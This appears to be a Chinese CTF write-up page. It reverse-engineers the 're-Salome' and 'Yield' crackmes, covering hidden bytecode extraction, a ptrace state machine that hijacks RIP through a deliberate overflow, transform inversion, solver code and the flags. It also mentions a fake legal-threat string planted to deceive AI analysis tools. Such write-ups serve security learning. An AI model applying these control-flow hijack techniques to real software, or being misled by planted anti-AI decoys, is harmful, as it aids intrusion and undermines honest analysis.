print("=" * 60)
266
print("=== Stage 2 Solver ===")
267
print("=" * 60)
268

269
# Extract hidden payload
270
MASK = b'curtain'
271
MAGIC = b'M13P'
272
winsound = Path(BASE / "main.exe_extracted/winsound.pyd").read_bytes()
273

274
# Find M13P and unpack
275
off = winsound.find(MAGIC)
276
assert off >= 0
277
key = winsound[off + 4]; seed = winsound[off + 5]
278
length = int.from_bytes(winsound[off + 6:off + 8], 'little')
279
checksum = winsound[off + 8]
280
body = winsound[off + 9:off + 9 + length]
281
plain = bytearray()
282
for i, v in enumerate(body):
283
    stream = (key + seed + i * 11) & 0xFF
284
    plain.append(v ^ stream ^ MASK[i % len(MASK)])
285
assert sum(plain) & 0xFF == checksum
286
stage2_bc = bytes(plain)
287

288
print(f"Stage 2 bytecode: {len(stage2_bc)} bytes")
289

290
input_bytes, final_slots = solve_stage2(stage2_bc)
291

292
print(f"\nInput ({len(input_bytes)} bytes): {input_bytes}")
293
print(f"Input hex: {input_bytes.hex()}")
294

295
# Try to decode as text
296
try:
297
    print(f"Input text: {input_bytes.decode('ascii')}")
298
except:
299
    printable = ''.join(chr(b) if 32 <= b < 127 else f'\\x{b:02x}' for b in input_bytes)
300
    print(f"Input partial: {printable}")
301

302
# Verify
303
print("\n--- Verification ---")
304
vm = MirageVM()
305
result = vm.run(stage2_bc, input_bytes)
306
print(f"VM result: '{result}'")
307
print(f"Expected:  'Trace deeper.'  {'✓ SUCCESS' if result == 'Trace deeper.' else '✗ FAILED'}")
308

309
# Also verify against the original main.exe by simulating what it does
310
print("\n" + "=" * 60)
311
print("=== Full simulation (both stages) ===")
312
print("=" * 60)
313

314
# Stage 1
315
stage1_bc = Path(BASE / "opcode.bin").read_bytes()
316
vm1 = MirageVM()
317
r1 = vm1.run(stage1_bc, input_bytes)
318
print(f"Stage 1 result: '{r1}'")
319

320
# Stage 2
321
vm2 = MirageVM()
322
r2 = vm2.run(stage2_bc, input_bytes)
323
print(f"Stage 2 result: '{r2}'")
324
print(f"Final answer: {'FLAG FOUND!' if r2 == 'Trace deeper.' else 'Keep trying...'}")

Flag#

1
Y0uC@ncatcht1_1erealf1@9

（“You Can catch the real flag”）

运行验证：

1
$ echo "Y0uC@ncatcht1_1erealf1@9" | ./main.exe
2
--- VM Start ---
3
Input: Accepted.

Yield#

1. 初探#

二进制是一个 64-bit ELF，导入了 ptrace、fork、waitpid、raise、mmap 等关键函数。从字符串中可以看到 "Correct!\n"、"Wrong!\n"、"Input flag: " 以及大量 PTRACE_PEEKDATA、PTRACE_POKEDATA 等调试相关字符串，说明程序使用了 ptrace 实现某种运行时代码修改。

1
导入函数: ptrace, fork, waitpid, raise, mmap, memcmp, fgets
2
关键字符串: "Correct!\n", "Wrong!\n", "Input flag: ",
3
           "PTRACE_PEEKDATA", "PTRACE_POKEDATA", "PTRACE_GETREGS",
4
           "failed to locate int3 in gate stub", "trap validation failed"

2. 整体架构#

程序通过 fork() 创建父子进程，子进程被父进程 ptrace 追踪：

1
main()
2
├── mmap(flags=MAP_ANONYMOUS|MAP_SHARED)  // 父子共享内存
3
├── fork()
4
│   ├── 子进程:
5
│   │   ├── ptrace(PTRACE_TRACEME)        // 允许父进程追踪
6
│   │   ├── raise(SIGSTOP)                // 暂停等待父进程
7
│   │   ├── sub_4029B5()                  // 读flag, 进入trap链
8
│   │   │   ├── printf("Input flag: ")
9
│   │   │   ├── fgets(s_0, 128, stdin)    // 读入flag
10
│   │   │   ├── 检查长度 == 36
11
│   │   │   └── sub_40243A()              // 调用15个INT3函数
12
│   │   └── _exit()
13
│   └── 父进程:
14
│       └── sub_40248E(pid)               // ptrace状态机
15
│           ├── waitpid(初始SIGSTOP)
16
│           ├── PTRACE_CONT               // 让子进程继续
17
│           └── while(1):
18
│               ├── waitpid(SIGTRAP)      // 等待INT3
19
│               ├── PTRACE_GETREGS        // 读取子进程寄存器
20
│               ├── 验证 [RIP-1] == 0xCC  // 确认是INT3
21
│               ├── 查表执行状态机节点
22
│               ├── PTRACE_SETREGS        // 修改子进程RIP
23
│               └── PTRACE_CONT           // 继续执行

3. 核心机制：缓冲区溢出劫持 RIP#

父进程的状态机函数中有一个故意的缓冲区溢出：

1
_BYTE v2[80];  // 寄存器缓冲区，只有80字节
2
ptrace(PTRACE_GETREGS, pid, 0, v2);  // 写入216字节！溢出！

x86-64 的 user_regs_struct 结构体大小为 216 字节，RIP 位于偏移 128 处。v2[80] 只有 80 字节，所以 RIP 的值会溢出写到 v2 之后的栈变量 p_sub_401E44（偏移 128）。

1
栈布局:
2
[rbp-0x100] v2[0..79]        ← r15 ~ orig_rax
3
[rbp-0xB0]  v3               ← RAX
4
...
5
[rbp-0x80]  p_sub_401E44     ← RIP (v2偏移128) ★溢出点★
6
...

父进程在状态机的 WRITE 操作中修改 p_sub_401E44 为计算函数地址，然后 PTRACE_SETREGS 将整个 216 字节写回子进程寄存器。子进程的 RIP 就被修改为计算函数地址。

同时，父进程还通过 PTRACE_POKEDATA 修改子进程栈上的返回地址（[RSP]），使计算函数的 ret 指令返回到下一个 INT3 断点。

执行流程：

1
TRAP(n) → INT3 → 父进程拦截 → 修改RIP=计算函数, [RSP]=TRAP(n+1)
2
→ 子进程执行计算函数 → ret → TRAP(n+1) → INT3 → ...

4. 状态机结构#

15 个状态机节点，存储在 unk_4051C0（由 sub_401E92 解密初始化）。

每个节点 48 字节，结构如下：

偏移	字段	说明
+0	func_addr	触发节点对应的 trap 函数地址
+8	ptr1_val	计算函数地址 (off_404DA0索引)
+16	func2_addr	下一个 trap 函数地址
+24	action	操作类型 (1-6)
+28	next_true	条件为真时下一节点
+32	next_false	条件为假时下一节点
+36	val16	CHECK_LOW2 的期望值
+40	val32	CHECK_EQ 的期望值

6 种操作类型：

Action	名称	行为
1	WRITE	POKEDATA 写 [RSP]，SETREGS 改 RIP=计算函数
2	CHECK_LOW2	检查 (RAX & 3) == val16
3	CHECK_EQ	检查 RAX == val32
4	INPUT	填充共享内存，修补 trap14 (INT3→RET)
5	WRONG	子进程 RIP=sub_401E6B，打印 “Wrong!\n”
6	CORRECT	子进程 RIP=sub_401E44，打印 “Correct!\n”

CORRECT 路径的节点流转：

1
Node 0 → 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 → 9 → 10
2
 A      B     C    Hash CHECK INPUT  D     E   Verify CHECK CORRECT!

5. 五层变换#

flag 存储在 qword_4050E0 开始的 36 字节中，计算函数依次对其进行变换。

变换 A — sub_4015AB#

1
for i in range(36):
2
    flag[i] = rol8(flag[i] ^ byte_403020[i], i % 7 + 1)

变换 B — sub_401638#

1
perm = byte_403060  # 36字节置换表
2
for i in range(36):
3
    temp[i] = flag[perm[i]] ^ (17 * i + 11)
4
flag = temp

变换 C — sub_4016C9#

1
for i in range(36):
2
    temp[i] = (flag[i] + flag[(i+1) % 36]) ^ rol8(9*i + 3, 1)
3
flag = temp

哈希 — sub_4017A4#

1
h = 0x31415B26
2
for i in range(36):
3
    h = ROR32(h, 3) ^ (flag[i] + 7*i)
4
    h = (h + 0x9E3779B9) & 0xFFFFFFFF  # 黄金比例共轭
5
return h

返回值存入 RAX，在 Node 4 被检查 (h & 3) == 1。

变换 D — sub_40180A#

1
for i in range(36):
2
    flag[i] = ror8(flag[i] ^ byte_4030A0[5*i % 36], i % 5 + 1)

变换 E — sub_4018CC#

1
for i in range(36):
2
    flag[i] = flag[i] ^ flag[(i+13) % 36] ^ (29*i + 7)

6. 验证逻辑#

Node 5 (INPUT) 调用 sub_402403（父进程）：

sub_40198A(v2) — 生成固定的目标数据（基于3张置换表）
sub_401ACD(v1) — 生成假flag字符串 "flag{Y0u_A1e_gO0D_at_STATIC_4NALYS1S}"
写入共享 mmap 缓冲区（MAP_SHARED，子进程可见）：
- mmap[0..35] = v2 ^ byte_403200
- mmap[40..75] = v1 ^ byte_403240
PTRACE_POKEDATA 将 trap14 的 INT3(0xCC) 替换为 RET(0xC3)

Node 8 (sub_401B4D) 在子进程中执行：

1
s2_ = mmap[0..35] ^ byte_403200;   // = sub_40198A固定输出
2
s2  = mmap[40..75] ^ byte_403240;  // = 假flag
3

4
if ((flag[0] + flag[9] + flag[18]) & 7) != 5:
5
    return memcmp(flag, s2_, 36);   // 路径1: 与目标比较
6
else:
7
    return memcmp(flag, s2, 36);    // 路径2: 与假flag比较

7. 求解#

约束条件：

T(flag) == sub_40198A_output（路径1的目标）
hash(T_partial(flag)) & 3 == 1（Node 4 检查）
(T(flag)[0] + T(flag)[9] + T(flag)[18]) & 7 != 5（自动满足）

逆向策略：

变换 E 的逆：XOR链有 256 个解（参数 x0）
变换 D 的逆：逐字节直接可逆
变换 C 的逆：加法链有 256 个解（参数 y0）
变换 B 的逆：逆置换 + XOR
变换 A 的逆：逐字节逆旋转 + XOR

遍历全部 256×256 组 (x0, y0)，筛选满足所有约束的可打印解。

1
for x0 in range(256):
2
    inv_e = inv_E(target, x0)
3
    inv_d = inv_D(inv_e)
4
    if not consistent_C(inv_d): continue
5
    for y0 in range(256):
6
        inv_c = inv_C(inv_d, y0)
7
        inv_b = inv_B(inv_c)
8
        flag = inv_A(inv_b)
9
        if hash_ok(flag) and all_printable(flag):
10
            print("Found:", flag)

唯一解：x0=67, y0=8

8. Flag#

1
flag{Y0u_A1e_gO0D_at_FLOW_h11@ckIng}

设计彩蛋#

	字符串	含义
假flag	`flag{Y0u_A1e_gO0D_at_STATIC_4NALYS1S}`	”You Are Good at STATIC ANALYSIS”
真flag	`flag{Y0u_A1e_gO0D_at_FLOW_h11@ckIng}`	”You Are Good at FLOW HACKING”

题目名 Yield 暗示了”让出控制权”——子进程通过 INT3 将控制权 yield 给父进程，父进程再通过修改 RIP 将控制权”归还”给计算函数。这是一场精心设计的控制流劫持。

另外在 sub_401236 中还有一个针对 AI/LLM 的假警告消息（hash 校验不通过，永不执行），内容是假装来自 “TechNova Innovations Inc.” 的 DMCA/CPRA 法律威胁——专门用来欺骗 AI 逆向工具。

9. 求解脚本核心代码#

1
# 关键数据表
2
t020 = bytes.fromhex('d50598bc638adf52bf3fdd85595fb52ed3554b692761aea40ceaad0dd40103535b9232d4')
3
t060 = bytes.fromhex('1e131c0c220a1a0914161b200021021d04100d1208051f1117230f03070119150e180b06')
4
t0A0 = bytes.fromhex('e328c65b05bc6e3ef61f07fba6d767ba3d4c28fd54ab76685353934c2e014b01fd5e3187')
5

6
# 变换 E 的逆 (XOR链循环，gcd(13,36)=1)
7
def inv_E(arr, x0):
8
    D = [(arr[i] ^ ((29*i+7) & 0xFF)) for i in range(36)]
9
    cycle = [0]; cur = 0
10
    for _ in range(35): cur = (cur + 13) % 36; cycle.append(cur)
11
    prefix = [0]
12
    for k in range(36): prefix.append(prefix[-1] ^ D[cycle[k]])
13
    result = [0] * 36
14
    for k, idx in enumerate(cycle): result[idx] = (x0 ^ prefix[k]) & 0xFF
15
    return result
16

17
# 变换 C 的逆 (加法链，256个分支)
18
def inv_C(arr, y0):
19
    Cvals = [(((9*i+3)&0xFF)<<1 | ((9*i+3)&0xFF)>>7) & 0xFF for i in range(36)]
20
    E = [(arr[i] ^ Cvals[i]) for i in range(36)]
21
    Y = [0] * 36; Y[0] = y0
22
    for k in range(1, 36): Y[k] = (E[k-1] - Y[k-1]) & 0xFF
23
    return Y

超级玉米人の部屋

pwn-level1-testnc_revege#

pwn-level2-ret2text#

pwn-level3-pwn-bypass#

pwn-level4-pwn-aespwn#

pwn-level5#

pwn-level6#

pwner_jsonstack#

程序逻辑#

漏洞点#

绕过检查#

后门函数#

栈对齐问题#

利用步骤#

Exploit#

re-Roses#

1. 静态分析#

2. 核心函数#

sub_1400017A0 — 主逻辑#

sub_1400014E7 — XOR 加密#

sub_140001578 — 自定义 Base64#

3. 加密流程#

解密#

Flag#

re-Salome#

工具#

1. 解包#

2. 主程序结构#

3. 自定义 VM 分析#

4. 隐藏载荷提取#

5. 第二阶段字节码#

6. 求解#

Flag#

Yield#

1. 初探#

2. 整体架构#

3. 核心机制：缓冲区溢出劫持 RIP#

4. 状态机结构#

5. 五层变换#

变换 A — sub_4015AB#

变换 B — sub_401638#

变换 C — sub_4016C9#

哈希 — sub_4017A4#

变换 D — sub_40180A#

变换 E — sub_4018CC#

6. 验证逻辑#

7. 求解#

8. Flag#

设计彩蛋#

9. 求解脚本核心代码#

目录

`sub_1400017A0` — 主逻辑#

`sub_1400014E7` — XOR 加密#

`sub_140001578` — 自定义 Base64#